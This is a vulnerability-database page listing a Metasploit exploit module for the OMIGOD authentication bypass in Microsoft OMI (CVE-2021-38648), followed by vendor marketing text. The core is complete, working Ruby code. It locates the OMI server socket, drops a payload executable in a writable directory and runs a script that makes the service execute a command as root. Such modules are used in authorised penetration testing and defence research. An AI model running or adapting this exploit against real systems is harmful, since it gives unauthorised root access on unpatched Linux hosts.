Lucene search
K

Microsoft OMI Management Interface Authentication Bypass Exploit

🗓️ 10 Nov 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 320 Views

Microsoft OMI Management Interface Auth Bypass Exploi

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2021-38647
18 Sep 202115:25
githubexploit
GithubExploit
Exploit for CVE-2021-38647
15 Sep 202121:44
githubexploit
GithubExploit
Exploit for CVE-2021-38647
22 Sep 202115:20
githubexploit
GithubExploit
Exploit for CVE-2021-38647
19 Sep 202115:43
githubexploit
GithubExploit
Exploit for CVE-2021-38647
15 Sep 202104:51
githubexploit
GithubExploit
Exploit for CVE-2021-38647
16 Sep 202108:33
githubexploit
GithubExploit
Exploit for CVE-2021-38647
13 Mar 202420:05
githubexploit
GithubExploit
Exploit for CVE-2021-38647
16 Sep 202102:11
githubexploit
GithubExploit
Exploit for CVE-2021-38647
20 Sep 202116:29
githubexploit
0day.today
Microsoft OMI Management Interface Authentication Bypass Exploit
31 Oct 202100:00
zdt
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Process
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze
  DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
        'Description' => %q{
          By removing the authentication exchange, an attacker can issue requests to the local OMI management socket
          that will cause it to execute an operating system command as the root user. This vulnerability was patched in
          OMI version 1.6.8-1 (released September 8th 2021).
        },
        'References' => [
          ['CVE', '2021-38648'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],
          ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
          ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
        ],
        'Author' => [
          'Nir Ohfeld', # vulnerability discovery & research
          'Shir Tamari', # vulnerability discovery & research
          'Spencer McIntyre' # metasploit module
        ],
        'DisclosureDate' => '2021-09-14',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => { 'DisableNops' => true, 'Space' => 256 }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'AKA' => ['OMIGOD'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
      OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])
    ])
  end

  def check
    pid = pidof('omiserver').first
    return CheckCode::Safe('The omiserver process was not found.') if pid.nil?

    omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
    omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
    return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?

    vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
    if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
      version = Regexp.last_match(1)
    else
      return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
    end

    return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')

    CheckCode::Appears("Version #{version} is affected.")
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
  ensure
    register_file_for_cleanup(path)
  end

  def find_exec_program
    %w[python python3 python2].select(&method(:command_exists?)).first
  end

  def get_socket_path
    socket_path = datastore['SocketPath']
    return socket_path unless socket_path.blank?

    pid = pidof('omiserver').first
    fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?

    if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}
      socket_path = Regexp.last_match(1)
    else
      begin
        socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?
      rescue StandardError # rubocop:disable Lint/SuppressedException
      end
    end

    fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?

    vprint_status("Socket path: #{socket_path}")
    socket_path
  end

  def exploit
    python_binary = find_exec_program
    fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary

    vprint_status("Using '#{python_binary}' to run the exploit")
    socket_path = get_socket_path
    path = datastore['WritableDir']
    python_script = rand_text_alphanumeric(5..10) + '.py'

    case target['Type']
    when :unix_cmd
      root_cmd = payload.encoded
    when :linux_dropper
      unless path.start_with?('/')
        # the command will be executed from a different working directory so use an absolute path
        fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')
      end

      payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
      if payload_path.length > 256
        # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the
        # command that is executed
        fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')
      end

      upload(payload_path, generate_payload_exe)
      cmd_exec("chmod +x '#{payload_path}'")
      root_cmd = payload_path
    end

    upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))
    cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"
    vprint_status("Running #{cmd}")
    output = cmd_exec(cmd)
    vprint_line(output) unless output.blank?
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation